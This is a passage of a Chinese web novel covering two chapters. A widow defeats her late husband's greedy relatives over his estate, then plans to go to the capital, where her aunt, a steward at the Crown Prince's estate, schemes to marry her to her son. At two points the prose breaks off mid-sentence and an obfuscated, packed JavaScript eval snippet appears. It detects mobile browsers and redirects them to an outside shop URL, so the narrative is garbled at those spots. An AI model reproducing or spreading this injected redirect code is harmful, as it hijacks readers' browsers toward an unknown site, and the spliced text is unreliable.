《丰艳》 3. 脂虎 李家二三四房的见了她俱是面露青色，而旁的未曾见过她真容的都愣叹几刹，怪道当初那大郎定要娶此女为妇。 一时间堂内竟静下来，像那骤然熄了炭火的热灶。 堂上几个正对着她憔悴泪容的族老险些站起来说声“节哀顺变也，快些坐下”。 还是看见旁边李家几房的难看脸色，猛地想起方才对此女的言语评述，才又回过神来，悄摸坐正回去。 李家四房的先反应过来，发了难：“好个贤媳，叫我们这些长辈在这儿苦等你，你既来了，今日便好生说道，大郎过身了，你却占着我李家的族产不还、将田地银钱肥己，是什么道理？今个当着乡里父老和县衙主簿老爷的面，你休想再拖赖！” “不错！你嫁给大郎，没给我们李家添一儿半女，也没得侍奉过舅姑，有什么脸面再占着宅子田地！快些将契纸都交出来！大家干净！” “大郎生前是我们李家长房长孙，发了誓要撑起我们李家门楣，他如今人不在了，但最挂念的还是家里，你若是还有半点良心，就莫要坏他心愿！” “……” 滚油烈火霎地又烧起来，黑漫漫惊雷霹雳一样炸开，好似方寸地方里点了一城的火炮。 李家几房围骂着堂中垂首的妇人，刀淋箭雨唇枪舌剑， 而妇人却不发一言，只是垂着头，肩背颤得越发厉害。 李阑几个叔婶轮番上阵，见她只是受斥，不曾回嘴，便相视悄存满意。 果真请来乡贤耆老与官门老爷最是有用，这不，一下便压的眼前这硬石头变软豆腐了！ 平日再刁蛮有何用，到底只是个没吃过多少盐米的青春少妇，男人没了，如何还敢横得起来。 自觉将她打压到了泥地里，今日都撑不起驳斥胆气了，方才稍罢了休。 紧接调头向李家族老，李家二房夫妇上前几步，这便要提出将分家阄书立下。 不料刚要开口，身后忽地一声惊魂长泣。 这泣声凄苦无边，冤甚六月飞雪，哀过望帝啼鹃。 直把堂中群人的魂儿都给震得一颤。 只见垂首站在堂中的李阑寡妻倏然身一晃，随后猛地一下跌跪于地，放声大哭。 “苍天老爷啊，大郎！你若还没魂去阎王殿里，就睁眼看看吧！看看这些害死你的馋痞老货，是怎么再活活逼死你的妻啊——” 她声不尖刻，却高而有力，穿云裂石样惊人，比之那戏台上的旦角都不遑多让，硬生生给李家几房的人全压了下去。 座上耆老俱是倒吸一口凉气，而那李家几房则是顿时浑炸了开来，颠七扭八地又乱围上了她，个个躁暴如雷。 “你，你胡说八道什么？！谁害死大郎！” “你敢辱骂尊长！” “反了！反了！族老你们瞧瞧，没说错吧，这就是大郎娶回来的！” 李阑三叔手指头都要戳她身上，咬牙切齿：“分明是你克死的大郎——” “老猪狗，你说谁克死大郎！！”跪在地上哀凄号哭的妇人倏然一止哭泪，猛地一扬首回头，张口恨斥。 一双眼凌凌生刺，狠狠瞪来，直把那李家三房给骇得紫脸顿住。 堂里座上的老者也全都张口惊愕，方才那点怀疑是不是有人传错她名声的想法一下烟消云散。 没错了没错了，如何错得了。 果然是只胭脂虎，如今可不就发威了—— 薛盈艳朝旁一伸手，容容眼疾手快，立刻将她从地上扶起来。 跪下时哀凄可怜，这再一站起来却瞳似火烧般。 分明个娇妇人，电光火石间竟恍惚腾起股横冲杀气。 她环盯着李家其余几房的人，切齿怒笑： “你们这群吸大郎血吃肥自己个儿的臭淤蠹虫，大郎分明是给你们活活害死的！大郎才过身，就急着来吃他留下的肉，害他的妻！脏口贱舌杀千刀的老粉嘴，有种就在这儿，当着耆老和主簿老爷的面把我也吊死了！等着我薛家的叔伯长辈来给我收尸，把你们全锁进牢里烂成肉泥喂猪狗！” 一说罢，竟从袖里掏出一根麻绳，径直环在自己脖颈上，扯着另一端直接逼上离得最近的李阑二婶，非要塞她手里，将个身肥浑圆的老妇给吓得连连后退。 “来呀！勒死我！大郎去了我也不活了！”她一抹脸又转怒为悲，一下哭得撕心裂肺， “大郎，你慢些走！我来殉你了——” 堂上顿时乱闹成一团，屋门外守着的洒扫丫鬟和两个小厮闻声也闯进来，一时刀戳了蜂巢，群蜂乌黑震出如风样狂闹，拉扯间骂声哭声不绝。 桌椅翻倒壶盏破裂，这边挤跌一个那边摔了一片，直叫人眼冒金星，恨不能捂了耳朵钻地缝里去。 一片混乱间，薛盈艳将那几个亡夫叔婶胡乱踹打了个遍，而后才伤心地被两个丫鬟拉住，但嘴里还哭骂着，将李家二三四房的老底揭了个干净。 鸡鸣狗盗男盗女娼的破事说完了，又将这些年李阑如何累病的反复哭申，更尖嚷着要拿李阑留下的账本子去官府把这些年的烂账全都算清楚。 哭得乱糟，这些事却张口说得清清楚楚。 李家几房的人暴跳叫嚷拦她，竟一群人骂她不过，头发衣衫还烂扯坏乱，身上也不知谁的脚印子、掐印子，个个形容狼狈，脸脖瘪茄似的青紫。 最后是官府请来的那位主簿林老爷拍案镇了场。 宅子丫鬟小厮们围着自家娘子站在一边，李家二三四房夯脸团在另一边，而林主簿则摆椅坐在堂上正中。 只差两排握杀威棒的衙门公人，就成明镜高悬的公堂了。 林主簿断案也快得很，方才那一片吵嚷中将要点捉得精准明白。 他一捋长须，开口：“方才李家大郎之妻所说，李家大郎曾为你们几个叔婶保债，你等债还不上由李家大郎填上，共计白银二十六两半，有无此事？” 薛盈艳铿说有文书为凭，李家叔婶摆着手说是李阑自愿。 林主簿又问：“那李家大郎时常接济你等，逢年过节米面钱粮，衣食药物，从无断绝，自己却节衣缩食，有无此事？” 薛盈艳哭诉有家中账本记下，街坊邻里俱可作证，李家叔婶则急冒大汗，叫嚷哪有什么账本，李阑晚辈逢年过节孝敬长辈乃是正理，何足启齿说道。 林主簿又问了几轮，越问，李家诸位族老的脸色越发尴尬的丢人难看。 问到最后，薛盈艳扬眉冷笑款身坐下，对面李阑几个叔婶面红面青咬牙切齿。 林主簿掸袖起身，背手长叹：“诸位耆耈乡贤，想必心如明镜，斯人方逝便议分产，也着实是无人情天理了些。” …… 山阳县。 宋记酒肆前迎来送往，绣如意纹黄底红边幌子高悬，随风轻摆。 前头伙计待客酤酒热闹，后院房里闭了门，榻上小几摆了子母壶、温上好酒，还有几碟糕点果子。 寒天冷日一杯温热酒液下了肚，浑身都舒坦起来。 薛盈艳有些醺了，撑着侧额醉笑，淹然生媚。 宋肖娘向后倚枕，嫌弃瞪她：“喝慢些罢，什么好酒到你嘴里都是净糟蹋。” 薛盈艳朝自己的手帕交哼哼：“往后你就是求我来喝都难了，这时候还这般吝啬。” “你真要上京去？”宋肖娘皱着柳眉，“从前你不是说你爹不让你去北边吗，你要是不留在宝应，回来山阳也好啊，有田有屋，何苦去那人生地不熟的地界受苦。” 薛盈艳掷了杯，捉了旁边引枕斜歪靠上： “得了吧，还留在这儿才是不痛快，回娘家寄人篱下我是不肯干的，我家老屋年久不修，四间房塌了两间，李家那宅子……不提也罢。” “我也不是久离，去京城见见世面罢了，至于我爹……哼，他还说我随便嫁个汉子能过安分日子呢，如今又怎样？他从前算卦，也没见回回都准。我就是在这儿呆不下去了，活了二十来年，天大地大的，出去访个亲看看天地岂不好，等我回来了，家里的房屋也修好了，我叫我三叔家看着呢。” 宋肖娘：“你说说你，作什么不把那宅子给争来，只要田地，你又不耕地，要了宅子有个住处不是更好。” “争什么争，争不过的。而且，你当那里是好住的？”薛盈艳不屑， “那里头供着李阑、供着他爹妈爷奶，我在那儿住着，就得做那苦守寡的门脸功夫。更何况他家那几个破落户亲戚贼心难死，一直还盯着，黑心烂肺的小人，指不准什么时候就来阴我，日日防也防不住，累也累死了。要田有什么不好，这世道就地最值钱。” 距李阑过身已经一月多，那日宅里分家产闹得天翻地覆，之后又拉扯了好一阵。 薛盈艳轮流到那几家门口烧火又上吊，又哭喊要去李家祖坟，要在那儿撒符纸做法抹脖子，说她爹留了法子，她横竖都要被逼死了，干脆就用那法子在他们家祖坟横死，劈了他们李家的气运，让他们断子绝孙，就是有后，也再穷十八代。 最后，她成功带走了几块良田、宅子里值钱的东西和她的嫁妆。 至于李阑的宅子和别的产业，就被李家收了回去。 薛盈艳也算是满意了，她本就没指望能把李阑身后留下的东西全抓在手里，只不过是欲退先进罢了。 李家那几个叔婶虽是泼皮无赖，但有一点说得不错，李阑的财产里确实不少是族产。 朝廷法度用起来可宽可紧，多少改嫁的女子只带得走自个儿嫁妆，她没给李阑生一儿半女，也没侍奉过公婆，成婚短短一两年，还能争到这些东西，算是够本的了。 那宅子虽然不错，但她是不肯住了，半点不舒坦。 闹分家产和李家叔婶骂她克死丈夫的事传出去，那些狗屁街坊邻里说闲帮腔，她出个门都一堆苍蝇缩在墙角围着指看，烦不胜烦。 虽然她叫人找几大盆污糟粪水把那几家全都暗中报复一遍，但这股子憋屈，只要还住在那儿，就总是没完。 她薛盈艳是亏待自个儿的人么，当然要换地儿，再说那穷地方也没什么好呆的。 她又不是多爱李阑，成了婚之后他对她吃穿用度上都尽力给了最好，挨她的骂也从不还嘴， 可他作为她的男人也没做到让她万事不愁，反而在亲戚事上让她一直不舒服，这就是没尽责。 要她心甘情愿地留在那宅子里，再嫁前都给他吃苦守丧? 呸。 可巧她记起当初她爹没了的时候，有个远房姑母专程回来老家吊丧，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495360|202460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还记得那位姑母体面气派的样子，说是陈年未发迹时受过她爹的恩情，那姑母留下话，若是他们二房有事，只管给她去信。 一月前她便花银子给这位姑母急递了信，想去京里住一段时间，天子都城龙兴之地，定能压一压她倒霉晦气。 邮驿来回，前日收到了回信，老姑母一口答应，让她趁着冬季运河结冰前速速来京。 于是这一回进京的事就定下了。 宋肖娘听她提到李家黑心亲戚可能会来阴的，撇撇嘴：“说的也是，你可是把他们得罪狠了，恨也恨死你，不过也是他们活该，和你耍横比赖，不是以卵击石吗。” 薛盈艳一下挺起身子朝她瞪眼，不服气反驳：“什么话呀，我那叫，我那叫智勇双全！再说了，你以为闹是好闹的？那也是要本事的。多少人想闹都闹不起来，就是闹了，也闹不大，闹不狠。” “不说别的，端说在声嗓上压人这一块，像那些个气虚体弱些的，刚喊两下就咳成人干儿，刚吵起来就气厥到地上，一下出师未捷身先死了。还有那心里一箩筐话张口却成哑巴的，湖海的句子憋心里说不出来，硬是先给自个儿憋坏。又或是舍不下身段不肯抹开面子，宁愿杵在那儿当木杆子，也豁不出去，能成什么事。” “不止如此，你手上还得捏住些真东西，不能全空闹乱闹，就好比这回，要不是我先见之明，当初逼着李阑记下他几个烂糟亲戚的接济账，收好当初他替人保债的文书，这事儿还有的磨，能这么干净利索吗。我可是箭无虚发，一击即中，全身而退，大难不死必有后福。” 宋肖娘被她一脸严肃地阐述闹事儿的法门逗得花枝乱颤，乐不可支： “好好好，确实是门本事，都扯上兵法了，你也就这张能胡诌的嘴。哎，不过真奇了嗐，你这一说如何闹不起来，我竟想得起好些人来。” 薛盈艳重新倒酒喝了口，哼哼地笑。 宋肖娘：“说回正事，你要上京，船给你找好了，我给我相好的打了声招呼，一路照应你，不过，外边地界险恶，你要是出去，路上得用东西把你这张脸给遮一遮，太招摇了，等到了京城，安定了，再卸下来。” 宋肖娘也是嫁过人又年轻守寡，但和薛盈艳不同的是，她丧夫一次后就回了娘家，承继了娘家酿酒的手艺，自立了门户。 最近两年刚和一漕运的纲首好上，日子过得逍遥。 薛盈艳其实心里有些不情愿，哪个爱美的女子愿意往脸上抹黑脏东西，但也知道她说的有理：“我晓得的。” 宋肖娘看着她，一阵感叹：“其实你去趟京城也不错，我都还没去过京城呢，皇城里头，一盆水出去泼五个人，三个都是王公贵戚。” 提到上京，薛盈艳也有些兴奋起来：“可不是，我先去探探路，要是好，过后给你来信，你跟着你相好的一起来，也有个接应。” “你不是说你在京城的亲戚是个远房姑母吗，你自个儿都是去投奔人的，还接应我呢。”宋肖娘抬手捏她脸蛋子。 “瞧不起谁！”薛盈艳被她捏的痛叫，拍开她手，然后神秘兮兮地靠近她，压低声， “和你说，我家姑母可不是一般人。” “嗯？什么叫不是一般人？” “我家姑母啊……” 薛盈艳凑在宋肖娘耳边，用气声：“那可是当今太子殿下皇庄里的管事嬷嬷。” 尾音一落，宋肖娘猛地仰首，倒吸口凉气。 薛盈艳得意地扬眉看她，桃花水眸润润地亮，那意思分明是“厉害吧”？ “真的假的？你莫不是谩说来诓我的？” “这还能有假！” 宋肖娘抚着心口，一下接一下：“诶哟，诶哟我的娘诶，都说宰相门前三品官，那太子门前，该是几品呐。” 太子，何其尊贵不敢多言的两个字。 她们这些平头小老百姓就是地上的泥花野草，寻常能见州府官门里的大人们一面，都是很了不得了，至于帝胄王亲，她们就是把脖子伸得断掉，也瞧不见一点边，那些都是九天云霄上的人物，想都不敢想。 宋肖娘抚完了胸口，又扯着薛盈艳兴冲冲道：“你这是攀了登天梯了呀，了不得了不得，到时候，你怕不是能见上太子殿下，哦，还有那些个达官贵人，你说会不会连陛下都能见啊？诶，要是哪个高门大户的公子瞧见你……” 薛盈艳捂着嘴呵呵地笑，然后打破她美梦：“得了吧！你没见过城里的员外和官老爷？各个看人只动眼珠不动脸的。那些皇亲贵胄、世家名门的郎君，怕不是更会装，更瞧不起人。” 她抚着新染的蔻丹拉着调子阴阳怪气儿：“只有世代簪缨家的贵小姐、九天下凡的神仙女配站在他们跟前，和他们说上一句话，其余的女人，就比如我们这样儿的，都是不配提鞋，往他们眼里一站，还嫌你脏了他们的眼呢。” 宋肖娘笑眯眯地：“你哪里用愁这些。男人么，高不高低不低的有什么两样，外头皮子不一样罢了，要我看，那些个王侯公卿，说不准等回了府中，钻进房里，还偏爱骚浪的，什么高低贵贱、世俗规矩，都给浑忘了。小心你被哪个强横的给捉去当了小妾，锁在房里，再不放你回来！” 这话臊死了人，一出来，两人顿时笑着打闹成一团。 4. 皇庄 帝京以南二十七里，擎山高隆，渌水环碧。 巍山深木环抱之腹地，入山阔道奇廊，禁籞严警，远见琼楼玉阁、殿宇嵯峨，不下蓬瀛壮丽者，便是敕赐之汤泉皇庄，庄名“漪澜苑”。 目下寒秋季节，树金叶红，覆织作无尽胭脂林障，日晖金转浓赤，更满目极盛华景。 曦驭衔山将近黄昏之时，御苑正门大开，朱门内上百仆侍齐出，整列肃立，遥遥齐眺。 少顷，紫陌大道轰然声沸，赤叶如龙卷，香尘弥漫飞。 旌旗猎猎，骅骝驰疾，金绣绫彩各色仪仗大旗之后，骤见游龙千骑，呼涌似奔雷海啸。 禁军左右卫护，近中多位金鱼玉带绣袍郎，乃三师五侯世府诸位公子，随陪副君狩猎归来。 群骑星散，御苑众侍仰首，只见一毛色光辉炳耀甚于金乌之骏马刹驾，马上之人身品英挺伟极，目如凌电，骨重神寒，似终山峰巅之冷雪。 离镫下鞍，金丝滚边独窠绫紫袍随动泛光，束腕鎏金兽刻，掌握软玉金鞭。 容傲天华，尊凌耀日。 太子凛睨而下，御苑仆侍齐礼，一跪三叩，山呼殿下。 漪澜苑统管太监启声上禀，高阳台处已设宴飨，恭请鹤驾亲至。 太子命众侍起身，再率身后陪随入苑。 月高仙掌之时，高阳台上华筵初启，鼍鼓管笙礼乐升平、舞姬腰肢袅娜温柔，一片清歌妙舞。 世间尊卑高低有别，既有云霄台，便有泥洼地。 御苑女妇管事房院，正处高阳台不远，堪堪得窥觎那高台上天家尊贵风流之一角，那处金殿中公卿王侯郎君相宴，金杯玉罍，这边房里也开得一席小宴，香肉鲜汤。 小席上三个婆子，俱是这皇庄内管事的老人，请席的薛婆子乃是苑内衣织采买主管，另外潘、赖两人分别是女使分配、女使调-教的头儿。 酒饮过一巡，也吃饱了几分。 薛婆子放了酒杯，笑道：“今日是秋社，若放在家乡，要祭土地神，无奈咱们是这皇庄里伺候的，现下在此吃酒，也算场社日宴。” “我本还邀了蒋婆子，只可惜今日大宴，她怕是现下困在那膳房里仰不见天，垂不见地呢。” 蒋婆子乃是御苑中厨司的管事之一，做得一手好糕饼。 “何需她来，有我俩还不成吗。”潘婆子斜眼过去，“再说了，你的酒哪里是白吃的。” 旁边的赖婆子但笑不语，她们这几个一同在这皇庄里头做事多年，该帮衬的帮衬，该互相遮掩的互相遮掩，已是盘根连在一块，有什么话不必拐弯抹角。 薛婆子大笑几声：“你倒爽快，是有件事要老姐姐们帮上一二。” “我家里有个远房侄女儿，不日就要来京，她年轻新寡没着没落，除了我这里也没旁的去处，我那侄女百伶百俐，是个聪敏的，绝不给庄里添麻烦。” 说罢，她从旁匣子里拿出两个鼓囊囊荷包来，放到二人面前：“老姐姐切莫客气，拿去吃酒。” 两个婆子如何不明晓她意，见了那荷包，唇上笑深些。 潘婆子道：“年少守寡，端是可怜，既来投奔你，又是个聪明的，不若就在庄里给她安排个差使，可巧如今是秋冬，殿下来庄里的日子怕是不少，不知多少差事正缺伶俐人来办，今年殿下大喜，在这庄里伺候，前程远大着呢。” 当今太子殿下乃陛下最幼子，为先皇后嫡出。 太子降生时初封燕王，原本亲王封号以秦晋为贵，但在本朝，燕王却非同一般，只因当今陛下便是以燕王之尊夺得帝位。 太子六岁时，先皇后仙逝，此后便一直由陛下亲自教养。 因太祖立下规矩，奉朝皇子，绝不可只养于深宫。 若生于宫内，长于宫内，弗知民生，罔知稼墙，必至沦废，上至帝，下至宗亲，若少处人间，不晓外事，前朝成败即近在眼前，不可不虑。 故而太子尚是燕王之时，一直遥领幽、冀、凉三州都督，五年前北地关外属国叛乱，平叛之战，圣旨由燕王亲监，近一年拉锯，此战大捷，立储圣旨随即颁下。 算至今，太子殿下入主东宫已四年有余，今年年初，陛下下旨，授太子监国之职，储君之位便更是稳固。 她们这些东宫皇庄里做事的人，不说荣华富贵，将来也是体面身家不愁的。 薛婆子点头：“若是能给她个差使，那就再好不过了，不过我那侄女儿是个闺阁里养得娇贵的，爹妈疼宠，那些个重活只怕是做不得。” 赖婆子问：“那她可有什么本事？” 薛婆子：“她来信时说，到了这边，女红针指都是做得的，对了，她亲生娘的母家是开香铺的，她也会一手制香调香的本事，只是不知深浅，还有，她也上过书塾，识得字、学过些诗文。” 赖婆子：“这倒却是个可人疼的伶俐人，怪道你对她如此热肠。” “我看哪，可不不止是为着一个‘疼’字儿吧。”潘婆子眼眯成缝，笑得精贼， “都说富在深山有远亲，我们这些人，哪年哪月不是时时有来投告求帮的朋友亲戚，若是个个都帮， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495361|202460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早活活被拖累死，亲生兄弟都未必可帮，况且个远房兄弟的女儿？” 薛婆子叫她扯了面子，也半丝不恼：“到底瞒不过老姐姐，实心话与老姐姐说罢，我这侄女儿的爹当初于我有一饭之恩，我上京来也是受了他的指点，这是其一；其二嘛……” 她说到此处摆手嗐了声：“我心里头有什么要紧梗结，你们还不清楚？无非为了我那不省心的混账罢了。” 薛婆子在这皇庄里做管事，男人则在太子府里做外院管事，生得一个儿子，名叫胡进，是个混不吝闲不下的，不肯随了安排一同在府里做事，偏要外出闯荡，科举不成，又想着习武投军，却又吃不了学武的苦头，便京里京外行商混世。 她和男人想要自家儿子安定，便思量着给胡进娶妻，都说成家立业，先成家后立业，成了家生了子，再如何也能安分些了。 谁曾想，她这儿子竟是个命硬的。先定了一回亲，成婚前，那女子的爹突然跌了一跤，直跌出了场白事，这亲就不成了。 第二回又寻别家议亲，终于娶回来个媳妇，可不到两年，那媳妇害了急病，就这么撒手人寰，她儿子就成了鳏夫。 找了老神仙算卦，说胡进的命，寻常女子受不住，薛婆子便思量着，若是娶妻不成，那就纳妾，留个后就好。 结果好容易寻得一个称心合宜的，让胡进点了头，那是个贫家的女儿，家里生了七八个，硬是养不起了，薛婆子便买来给胡进做妾，也平安过了几年，可人算不如天算，那妾都怀上了，结果难产，生下个病病歪歪的女儿，也没了。 如此，连胡进自个儿都不愿意再娶妻纳妾了，只怕娶回来又是空欢喜一场。 赖婆子这才了然：“我说呢，原来是为这个，只不过，你那侄女儿是新寡，你真要放着那许多黄花闺女不要，要这个？” 薛婆子却摇了摇头：“我偏看中这个，你们也知道，我那儿子是个命硬的，都说守寡的女人命重，这两厢抵一抵，不定反倒能成。” 她心里想得好，要来京的菟娘她见过的，那模样莫说什么黄花闺女，就是把那京里的花魁娘子都摆上来，也抵不过去。 她料定她那儿子一旦见了菟娘，必定愿意娶来作妻，至于那菟娘…… 虽是个娆媚多情金屋美人，奈何生在乡县地方，不曾真正见过大世面。 等来了京城，在这皇庄里过上几日好日子，再用上些寻常人家一辈子都碰不到的好东西，哪里还会有什么不情愿？ 只怕到时候，是哭着求着也要留下做她家的媳妇。